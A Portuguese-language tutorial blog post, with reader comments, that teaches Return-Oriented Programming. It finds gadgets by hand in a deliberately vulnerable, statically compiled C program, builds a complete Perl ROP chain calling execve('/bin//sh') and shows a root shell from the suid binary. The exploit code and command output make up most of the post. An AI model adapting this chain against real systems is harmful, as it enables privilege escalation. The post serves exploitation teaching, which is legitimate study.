Return-Oriented Programming na unha!

Neste artigo irei descrever uma técnica moderna de exploração de buffer overflows conhecida como Return-Oriented Programming, esta técnica é muito interessante por passar por proteções a nível de sistema operacional como Executable space protection (NX, DEP, W^X) assim como Address Space Layout Randomization (ASLR). Irei demonstrar como desenvolver um exploit básico para um código vulnerável sem utilizar-se de ferramentas automatizadoras.

1) Introdução

Return-Oriented Programming é uma técnica de exploração que o atacante controlando a stack, encadeia endereços para instruções seguidas de um return, estes chamados de gadgets[1]. Esta técnica é muito interessante por passar por proteções como Executable space protection (NX, DEP, W^X)[2].

Existem ferramentas para encontrar os gadgets como ROPEME[3] e ROPgadget[4], este último capaz de gerar o payload, mas podemos encontrar os mesmos manualmente, ou seja, procurando pelas próprias instruções no binário.

2) Ambiente

O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.


[email protected]:~$ cat /etc/issue.net 
Ubuntu 11.04
[email protected]:~$ uname -a
Linux m0nad-notebook 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:23:39 UTC 2011 i686 i686 i386 GNU/Linux
[email protected]:~$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

[email protected]:~$ 

As proteções do sistema operacional podem ser encontrada no wiki do ubuntu[5]. Podemos ver que o ASLR está ativo.


[email protected]:~$ cat /proc/sys/kernel/randomize_va_space 
2
[email protected]:~$ 

3) Código

O código foi um stack-based buffer overflows clássico:


[email protected]:~$ cat vuln.c 
#include 
int
main(int argc, char ** argv)
{
  char buffer[256];
  if (argc < 2)
    return 1;
  strcpy(buffer, argv[1]);
  return 0;
}

Compilei sem Smash the Stack Protection(SSP - Propolice)[6], utilizando a opção -fno-stack-protector do gcc, e com a opção -static, assim ele ira compilar com todo o código estatico, possibilitando assim mais gadgets.


[email protected]:~$ gcc -o vuln vuln.c -fno-stack-protector -static -Wall -Wextra

Rodamos o checksec.sh[7] para verificar as proteções no binário.


[email protected]:~$ bash checksec.sh --file vuln 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   vuln
[email protected]:~$

Percebemos que estamos com RELRO parcial, sem SSP, com Non eXecute ativado, sem PIE, sem relative path ou runpath.

4) Payload

A ideia do payload é a mesma de um shellcode normal, colocar a syscall de execve em eax, o endereço da string /bin//sh em ebx, e nesse caso ecx e edx apontando para NULL, utilizando do exemplo do payload que o ROPgadget gera, vamos usar a area de .data para colocar a string, usei o readelf para descobrir o endereço:


[email protected]:~$ readelf -S vuln | grep 22
  [22] .data             PROGBITS        080cf020 086020 000740 00  WA  0   0 32
[email protected]:~$ 

Precisamos então dos gadgets, para isso usei o objdump, com a opção -D para 'disassemblar', e o grep, para achar expressões regulares das instruções. Primeiros gadgets que procurei foi para controlar os registradores, um pop %ecx seguido de ret:


[email protected]:~$ objdump -D  vuln | grep -E 'pop\s*%ecx' -A2 | grep ret -B2
 8053ed6:	59                   	pop    %ecx
 8053ed7:	5b                   	pop    %ebx
 8053ed8:	c3                   	ret    
--
--
 80cae04:	59                   	pop    %ecx
 80cae05:	c3                   	ret    
[email protected]:~$

Legal, temos um pop %ebx | ret, e um pop %ecx | ret, vamos procurar um pop %edx | ret:


[email protected]:~$ objdump -D  vuln | grep -E 'pop\s*%edx' -A2 | grep ret -B2
 8053eac:	5a                   	pop    %edx
 8053ead:	c3                   	ret    
[email protected]:~$ 

Certo, um pop %eax | ret seria bom:


[email protected]:~$ objdump -D  vuln | grep -E 'pop\s*%eax' -A2 | grep ret -B2
 80cc415:	58                   	pop    %eax
 80cc416:	03 0a                	add    (%edx),%ecx
 80cc418:	c3                   	ret    
[email protected]:~$ 

Hmm, achamos um, mas ele tem um efeito colateral do add (%edx),%ecx que precede o ret, vamos ver se temos uma maneira de mover de algum registrador para o eax:


[email protected]:~$ objdump -D vuln | grep -E 'mov\s*%e[b-d]x,%eax' -A1 | grep ret -B1
 80770ac:	89 d0                	mov    %edx,%eax
 80770ae:	f3 c3                	repz ret 
--
 80aa9a7:	89 d0                	mov    %edx,%eax
 80aa9a9:	c3                   	ret    
[email protected]:~$ 

Pronto, podemos usar o mov %edx,%eax | ret para controlar o eax, precisamos colocar o endereço de .data em algum registrador, e mover a string /bin//sh para esta área de memoria, para isso precisamos de mov de algum registrador que controlamos para uma área de memoria:


[email protected]:~$ objdump -D vuln | grep -E 'mov\s*%e[a-d]x,\(%e[a-d]x\)' -A1 | grep -E 'ret\s+' -B1
 8080391:	89 02                	mov    %eax,(%edx)
 8080393:	c3                   	ret    
[email protected]:~$ 

Temos! precisamos então, de um xor %eax,%eax por exemplo, para colocarmos um null- byte na pilha.


[email protected]:~$ objdump -D  vuln | grep -E 'xor\s*%eax,%eax' -A1 | grep ret -B1
 8051be1:	31 c0                	xor    %eax,%eax
 8051be3:	c3                   	ret    
--
 8051c00:	31 c0                	xor    %eax,%eax
 8051c02:	c3                   	ret    
--
 806d2f4:	31 c0                	xor    %eax,%eax
 806d2f6:	c3                   	ret    
--
 8070f9a:	31 c0                	xor    %eax,%eax
 8070f9c:	c3                   	ret    
--
 8071140:	31 c0                	xor    %eax,%eax
 8071142:	c3                   	ret    
--
 809d40f:	31 c0                	xor    %eax,%eax
 809d411:	c3                   	ret    
[email protected]:~$

Tem de sobra, bem, agora só precisamos de inc %eax, para colocarmos o valor correto de execve:


[email protected]:~$ objdump -D  vuln | grep -E 'inc\s*%eax' -A1 | grep ret -B1
 806d84f:	40                   	inc    %eax
 806d850:	c3                   	ret    
--
 80c9dc3:	40                   	inc    %eax
 80c9dc4:	c3                   	ret    
--
 80cbd20:	40                   	inc    %eax
 80cbd21:	ca fa ff             	lret   $0xfffa
--
 80cefab:	ff c0                	inc    %eax
 80cefad:	cf                   	iret   
[email protected]:~$

Encontramos! E é claro, precisamos de um int $0x80 para chamar o kernel para executar a nossa syscall:


[email protected]:~$ objdump -D  vuln | grep -E 'int\s*\$0x80'
 80487bf:	cd 80                	int    $0x80
 8052f2c:	cd 80                	int    $0x80
 8053fa8:	cd 80                	int    $0x80
 80545f0:	cd 80                	int    $0x80
 8077023:	cd 80                	int    $0x80
 807a5c8:	cd 80                	int    $0x80
 808b355:	cd 80                	int    $0x80
 808b35e:	cd 80                	int    $0x80
[email protected]:~$

Pronto, com esses gadgets é possível chamar um execve("/bin//sh", NULL, NULL).

5) Exploit

O exploit basta usar os gadgets encontrados, primeiro colocamos a string "/bin" em eax.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin

Depois jogamos a string para .data.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin

Fazemos o mesmo para colocar "//sh" em .data + 4.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

Usamos o gadget xor %eax,%eax | ret para colocar o null-byte no final da string em .data + 8.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

Colocamos o endereço de data, ou seja da string /bin//sh em ebx, e ponteiro para NULL que é .data + 8 em ecx e edx.


$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

Pronto, basta usar o xor %eax,%eax | ret e inc %eax | ret para colocar o valor da syscall execve (0xb) em eax, e chamar o int $0x80 | ret.


$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

Vamos ao exploit completo!


#!/usr/bin/perl
use strict;

my $p = "a" x 268;

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

Para a exploração vamos colocar em suid root para fins de demonstração:


[email protected]:~$ sudo chown root:root vuln
[sudo] password for m0nad: 
[email protected]:~$ sudo chmod +s vuln

E finalmente a exploitação:


[email protected]:~$ ./vuln "$(perl xpl_vuln.pl)"
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad)
# 

r00t!

6) Binário

O binário e exploit utilizados podem ser encontrado no meu github[8].

7) Referências

Comentários
Aceita-se formatação à la TWiki. HTML e scripts são filtrados. Máximo 15KiB.

 
Enviando... por favor aguarde...
Comentário enviado com suceso -- obrigado.
Ele aparecerá quando os moderadores o aprovarem.
Houve uma falha no envio do formulário!
Deixei uma nota para os admins verificarem o problema.
Perdoe-nos o transtorno. Por favor tente novamente mais tarde.
y0daBR | 2013-12-17 11:12:26 | permalink | topo

Realmente parabéns pelo nível técnico e pela didática.

Escreva mais artigos :)

Cooler_ | 2012-04-05 14:32:29 | permalink | topo

é o melhor paper sobre ROP pt-br que já vi... esta de parabéns